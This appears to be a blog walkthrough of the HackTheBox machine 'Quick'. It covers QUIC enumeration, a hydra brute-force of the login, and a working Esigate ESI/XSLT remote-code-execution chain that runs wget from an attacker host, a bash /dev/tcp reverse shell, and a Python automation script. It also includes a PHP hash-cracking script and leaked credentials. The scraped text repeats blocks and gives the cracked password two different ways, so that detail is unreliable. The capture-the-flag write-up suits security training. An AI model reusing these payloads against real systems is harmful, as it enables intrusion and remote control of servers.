

Summary

Quick, a Linux box created by HackTheBox user MrR3boot, was an overall hard difficulty box. Initial foothold was finding a password from HTTPS-over-UDP and bruteforce the login. And exploiting Esigate to get an RCE and get User by that. Getting Second user was exploiting a Race Condition and get the second user and looking in the conf.d we get a password using that on root give us Root.

Initial Scan

nmap

```
1 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 00:31 IST
2 Nmap scan report for 10.10.10.186
3 Host is up (0.26s latency).
4 Not shown: 998 closed ports
5 PORT      STATE SERVICE VERSION
6 22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
7 | ssh-hostkey:
8 |   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
9 |   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
10 |_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
11 9001/tcp  open  http      Apache httpd 2.4.29 ((Ubuntu))
12 |_http-server-header: Apache/2.4.29 (Ubuntu)
13 |_http-title: Quick | Broadband Services
14 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

Thank you for visiting. You can now
buy me a coffee!



Running Gobuster and manually enumerating we find a domain name on the home page as

```
1 /index.php (Status: 200)
2 /search.php (Status: 200)
3 /home.php (Status: 200)
4 /login.php (Status: 200)
5 /clients.php (Status: 200)
6 /db.php (Status: 200)
7 /ticket.php (Status: 200)
```

Quick About Contact

New Broadband Services in JetSpeed for all your Need.

Upto 17MBps - £18 | Upto 50MBps - £27

[Get Started](#)

30 day trial | No Bandwidth limit

Update!

We are migrating our portal with latest TLS and HTTP support. To read more about our services, please navigate to our [portal](#)

You might experience some connectivity issues during portal access which we are aware of and working on designing client application to provide better experience for our users. Till then you can avail our service.

Thank you for visiting. You can now buy me a coffee!

1 portal.quick.htb

visiting that give us an error.



Unable to connect

Firefox can't establish a connection to the server at portal.quick.htb.



- The site could be temporarily unavailable or too busy. Try again in a few moments.
- If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web.

Try Again

Thank you for visiting. You can now buy me a coffee!



Ticketing System | Log in



or use your email

Email

elisa@wink.co.uk

Password

••••••••••

☐

Remember Me

[Forgot Password?](#)

Submit

Thank you for visiting. You can now
buy me a coffee!



looking at the request header we see that the application is reverse proxy by Esigate based on the header `X-Powered-By: Esigate`

Running VHost Scan

```
1 wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.quick.htb' -u http://10.10.10.186
```

saw that page is crashing with

```
1 000000690: 500      82 L    188 W    5297 Ch    "gc._msdcs"
```

so trying in the request we see we can crash the server if we send `_` in the host header
But playing around with this for hours don't lead me anywhere

Running nmap again on UDP reveal

nmap UDP

```
1 # Nmap 7.80 scan initiated Sun Apr 26 10:35:44 2020 as: nmap -sC -sV -sU -oN nmap/quick-udp 10.10.10.186
2 Nmap scan report for portal.quick.htb (10.10.10.186)
3 Host is up (0.35s latency).
4 Not shown: 999 closed ports
5 PORT      STATE      SERVICE VERSION
6 443/udp   open|filtered https
7
```

Thank you for visiting. You can now
buy me a coffee!



Reading about https we learn about a protocol as quic which tell us more about this. quiche-client we are able to dump a password as

```
Quick4cc3$$
```

installed using

```
1 git clone --recursive https://github.com/cloudflare/quiche
2 cargo build --examples
```

```
root@kali:/opt/quiche# cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://portal.quick.htb/
```

```
Finished dev [unoptimized + debuginfo] target(s) in 0.06s
```

```
Running `tools/apps/target/debug/quiche-client --no-verify 'https://portal.quick.htb/'`
```

```
<html>
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
```

```
<head>
```

```
<style>
```

```
ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  width: 200px;
  background-color: #f1f1f1;
}
```

```
li a {
  display: block;
  color: #000;
  padding: 8px 16px;
  text-decoration: none;
```

Thank you for visiting. You can now
buy me a coffee!




```

li a {
  display: block;
  color: #000;
  padding: 8px 16px;
  text-decoration: none;
}

/* Change the link color on hover */
li a:hover {
  background-color: #555;
  color: white;
}
</style>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>
</ul>
</html>

```

similarly i read more files using

```
1 cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://portal.quick.htb/index.php?view=about
```

leaks few emails and

```
1 cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://portal.quick.htb/index.php?view=about
```

Thank you for visiting. You can now
buy me a coffee!



```
1 cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://portal.quick.htb/index.php?view=docs
```



give us some documents one of which contain the password.

Generating emails

i used all the names i got and some common like `admin`, `sysadmin`, `itadmin` and some names from the `index.php` client testimonial as `tim`, `roy`, `elisa` and `james`.

And created some domains from `client.php` company names as

```
1 qconsulting.uk
2 qconsulting.com
3 qconsulting.pvt.ltd.uk
4 qconsulting.pvt.ltd.com
5 qconsulting.pvt.ltd
6 qconsulting.pvt.com
7 darkwingsolutions.us
8 darkwingsolutions.com
9 darkwingsol.us
10 darkwingsol.com
11 darkwing.us
12 darkwing.com
13 wink.us
14 wink.uk
15 wink.co.uk
16 wink.org.uk
17
```

Thank you for visiting. You can now
buy me a coffee!




```
16 wink.org.uk
17 wink.me.uk
18 wink.com
19 lazycoop.cn
20 lazycoop.com
21 lazycoop.pvt.ltd.cn
22 lazycoop.pvt.ltd.com
23 lazycoop.pvt.ltd
24 lazycoop.pvt.com
25 ScoobyDoo.it
26 ScoobyDoo.com
27 PenguinCrop.fr
28 PenguinCrop.com
```

and create a list of emails and use them to brute-force the login with the hydra using the following command.

```
1 hydra -L emailList.txt -p 'Quick4cc3$$' -s 9001 $IP http-post-form "/login.php:email=^USER^&password=^PASS^:Invalid Credentials"
```

```
1 [9001][http-post-form] host: 10.10.10.186 login: elisa@wink.co.uk password: Quick4cc3$$
```

which give us a valid credential for `login.php` as `elisa@wink.co.uk:Quick4cc3$$`



which give us a valid credential for `login.php` as `elisa@wink.co.uk:Quick4cc3$$`

Quick | Ticketing System

[Home](#) [Raise Ticket](#)

LoggedIn as Elisa

Track your Tickets

Search with assigned ticket id

Search



Our Services

We operate around the Globe.
You can contact us to know more
about our services.

Quick | Resistant | PowerFul



Love To Help

As customer is utmost care to
us, we don't hesitate to resolve
ur issues.



Chat

Oh yea! we are
design at th

Thank you for visiting. You can now
buy me a coffee!



logging in and trying the credentials we see an XSS on the search. but trying few things don't lead me anywhere.

Going back to Esigate we see an issue as issue which lead me to a blog

Playing around with the details i have i got an RCE with

```
1 POST /ticket.php HTTP/1.1
2 Host: quick.htb:9001
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://quick.htb:9001/ticket.php
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 109
10 Connection: close
11 Cookie: PHPSESSID=7uur1ksi5b0pok3jn4kfia3d3q
12 Upgrade-Insecure-Requests: 1
13
14 title=te&msg=a&id=<esi:include src="http://10.10.14.48/q.xml" stylesheet="http://10.10.14.48/q.xsl"></esi:include>
```

and `ping.xsl` as

```
1 <?xml version="1.0" ?>
2
3 </xml>
```

which gave me a ping back.

After playing around for sometime we see we cannot pipe commands.

So I thought of breaking that in 3 Steps

USER

We can use the RCE to get a shell as the user

STEP 1: Download a payload.sh on the box
by creating a new xsl file

```
1 <?xml version="1.0" ?>
2 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3 <xsl:output method="xml" omit-xml-declaration="yes" />
4 <xsl:template match="/"
5 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
6 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
7 <root>
8 <xsl:variable name="cmd"><![CDATA[wget http://10.10.14.48/payload.sh]]></xsl:variable>
9 <xsl:variable name="rtObj" select="rt:getRuntime()" />
```

Thank you for visiting. You can now
buy me a coffee!



```
4 <xsl:template match="/"
5 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
6 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
7 <root>
8 <xsl:variable name="cmd"><![CDATA[wget http://10.10.14.48/payload.sh]]></xsl:variable>
9 <xsl:variable name="rtObj" select="rt:getRuntime()"/>
10 <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
11 Process: <xsl:value-of select="$process"/>
12 Command: <xsl:value-of select="$cmd"/>
13 </root>
14 </xsl:template>
15 </xsl:stylesheet>
```

STEP 2: chmod +x payload.sh on the box

```
1 <?xml version="1.0" ?>
2 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3 <xsl:output method="xml" omit-xml-declaration="yes"/>
4 <xsl:template match="/"
5 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
6 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
7 <root>
8 <xsl:variable name="cmd"><![CDATA[chmod +x ./payload.sh]]></xsl:variable>
9 <xsl:variable name="rtObj" select="rt:getRuntime()"/>
10 <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
11 Process: <xsl:value-of select="$process"/>
12 Command: <xsl:value-of select="$cmd"/>
```

Thank you for visiting. You can now
buy me a coffee!



```
13 </root>
14 </xsl:template>
15 </xsl:stylesheet>
```

STEP 3: Have a listener running and execute the script

```
1 <?xml version="1.0" ?>
2 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3 <xsl:output method="xml" omit-xml-declaration="yes"/>
4 <xsl:template match="/"
5 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
6 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
7 <root>
8 <xsl:variable name="cmd"><![CDATA[./payload.sh]]></xsl:variable>
9 <xsl:variable name="rtObj" select="rt:getRuntime()"/>
10 <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
11 Process: <xsl:value-of select="$process"/>
12 Command: <xsl:value-of select="$cmd"/>
13 </root>
14 </xsl:template>
15 </xsl:stylesheet>
```

NOTE: for each of the steps you will need a similar .xml file. Also you will need to have a new filename at the name and will hit with `http://10.10.14.48/http://10.10.14.48/x.xml` instead of `http://10.10.14.48/x.xml` so make it work.

Thank you for visiting. You can now buy me a coffee!




```
1 #!/bin/bash
2 bash -c "bash -i >& /dev/tcp/10.10.14.48/9001 0>&1"
```

```
1 sam@quick:~$ whoami;hostname;cat user.txt
2 whoami;hostname;cat user.txt
3 sam
4 quick
5 a5448885fe6fbfdc9f75e74be12dacba
6 sam@quick:~$
```

Extra

I also wrote a script to automate that and get a shell.

```
1 import requests
2 import json
3
4 ### Edit IP in the payload.sh and upload.xsl
5
6 IP="10.10.10.10"
```

Thank you for visiting. You can now
buy me a coffee!



I also wrote a script to automate that and get a shell.

```
1 import requests
2 import json
3
4 ### Edit IP in the payload.sh and upload.xml
5
6 IP="10.10.10.186"
7 HOSTIP="10.10.14.48"
8 # IP="127.0.0.1"
9 PORT=9001
10 username="elisa@wink.co.uk"
11 passwd="Quick4cc3$$"
12
13 def login(email,password):
14     url = "http://"+IP+": "+str(PORT)+"/login.php"
15     payload={"email":email,"password":password}
16     headers= {"Referer": "http://quick.htb:9001/login.php","Host": "quick.htb:9001"}
17     response = requests.post(url,headers=headers, data=payload,allow_redirects=False)
18     cookie = response.headers['Set-Cookie'] # Return the cookie
19     cookie = cookie.split(";")[0]
20     return cookie
21
22
23 def create_ticket(filename,c):
```

Thank you for visiting. You can now
buy me a coffee!



```

23 def create_ticket(filename,c):
24     c = c.split("=")
25     cookie={c[0]:c[1]}
26     url = "http://" + IP + ":" + str(PORT) + "/ticket.php"
27     id="""<esi:include src="http://"""+HOSTIP+"""/"""+filename+""".xml" stylesheet="http://"""+HOSTIP+"""/"""+filename+""".xsl"></esi:include>"""
28     payload = {"title":"test","msg":"test","id":id}
29     response = requests.post(url, data=payload,cookies=cookie,allow_redirects=False)
30
31 # title=te&msg=a&id=<esi:include src="http://10.10.14.48/q.xml" stylesheet="http://10.10.14.48/q.xsl"></esi:include>
32
33 cookie = login(username,passwd)
34 create_ticket("upload",cookie)
35 create_ticket("chmod",cookie)
36 create_ticket("execute",cookie)

```

along with www serving that zip by a python server.

```

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 32 bytes 1752 (1.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 32 bytes 1752 (1.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
    inet 10.10.14.85 netmask 255.255.254.0 destination 10.10.14.85
    inet6 dead:beef:2::1053 prefixlen 64 scopeid 0x0<global>
    inet6 fe80::f735:e5d7:f8b9:7305 prefixlen 64 scopeid 0x20<link>
    unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
    RX packets 137 bytes 49708 (48.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 158 bytes 25573 (24.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

```

root@kali:~/HackTheBox/machine/Quick/payload# cd www
root@kali:~/HackTheBox/machine/Quick/payload/www# up
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.186 - - [27/Apr/2020 13:37:00] "GET /upload1.xsl HTTP/1.1" 200 -
10.10.10.186 - - [27/Apr/2020 13:37:00] "GET /upload1.xml HTTP/1.1" 200 -
10.10.10.186 - - [27/Apr/2020 13:37:01] "GET /payload1.sh HTTP/1.1" 200 -
10.10.10.186 - - [27/Apr/2020 13:37:02] "GET /chmod1.xsl HTTP/1.1" 200 -
10.10.10.186 - - [27/Apr/2020 13:37:02] "GET /chmod1.xml HTTP/1.1" 200 -
10.10.10.186 - - [27/Apr/2020 13:37:03] "GET /execute1.xsl HTTP/1.1" 200 -
10.10.10.186 - - [27/Apr/2020 13:37:04] "GET /execute1.xml HTTP/1.1" 200 -

```

Thank you for visiting. You can now
buy me a coffee!



```
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
    inet 10.10.14.85 netmask 255.255.254.0 destination 10.10.14.85
    inet6 dead:beef:2::1053 prefixlen 64 scopeid 0x0<global>
    inet6 fe80::f735:e5d7:f8b9:7305 prefixlen 64 scopeid 0x20<link>
    unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
    RX packets 137 bytes 49708 (48.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 158 bytes 25573 (24.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
root@kali: ~/HackTheBox/machine/Quick/payload# python rce.py
Got CookiePHPSESSID=3ijf76u0jv0l5qubjuvol52tel
Uploading Payload
Chmod Payload
Execute Payload
root@kali: ~/HackTheBox/machine/Quick/payload#
```

```
root@kali: ~/HackTheBox/machine/Quick/payload# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:56194.
bash: cannot set terminal process group (863): Inappropriate ioctl for device
bash: no job control in this shell
sam@quick:~$
```

Privilege Escalation

Looking in the DB we find users hash for `Server Admin` as `e626d51f8fbfd1124fdea88396c35d05` i wrote a simple php

Thank you for visiting. You can now buy me a coffee!



Privilege Escalation

Looking in the DB we find users hash for `Server Admin` as `e626d51f8fbfd1124fdea88396c35d05` i wrote a simple php script to crack that

```
1 <?php
2 $hash = 'e626d51f8fbfd1124fdea88396c35d05';
3 // $fn = fopen("./myfile.txt","r");
4 $fn = fopen("/usr/share/wordlists/rockyou.txt","r");
5 while(! feof($fn)) {
6     $password = fgets($fn);
7     $password = trim($password);
8     // echo $password."\n";
9     $computedHash = md5(crypt($password,'fa'));
10    // echo $computedHash;
11    if($hash == $computedHash){
12        echo "Password Found: ". $password."\n";
13        fclose($fn);
14        exit(0);
15    }
16 }
17 fclose($fn);
18 ?>
```

we get password `yl51pbx` so we have a valid creds as `srvadm@quick.htb:yl51pbx`

Thank you for visiting. You can now
buy me a coffee!



we get password `yisipox` so we have a valid creds as `srvadm@quick.htb.yisipox`

enumerating the box we find that there is another subdomain running on apache2 and that is running as `srvadm`

```
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost *:80>
    AssignUserId srvadm srvadm
    ServerName printerv2.quick.htb
    DocumentRoot /var/www/printer
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
sam@quick:/etc/apache2/sites-enabled$
```

reading the code on `jobs.php`

```
1 <?php
2 require __DIR__ . '/escpos-php/vendor/autoload.php';
3 use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
4 use Mike42\Escpos\Printer;
5 include("db.php");
6 session_start();
7
8 if($_SESSION["loggedin"])
9 {
10     if(isset($_POST["submit"]))
11     {
12         $title=$_POST["title"];
13         $file = date("Y-m-d_H:i:s");
14         file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
15     }
16 }
```

Thank you for visiting. You can now
buy me a coffee!

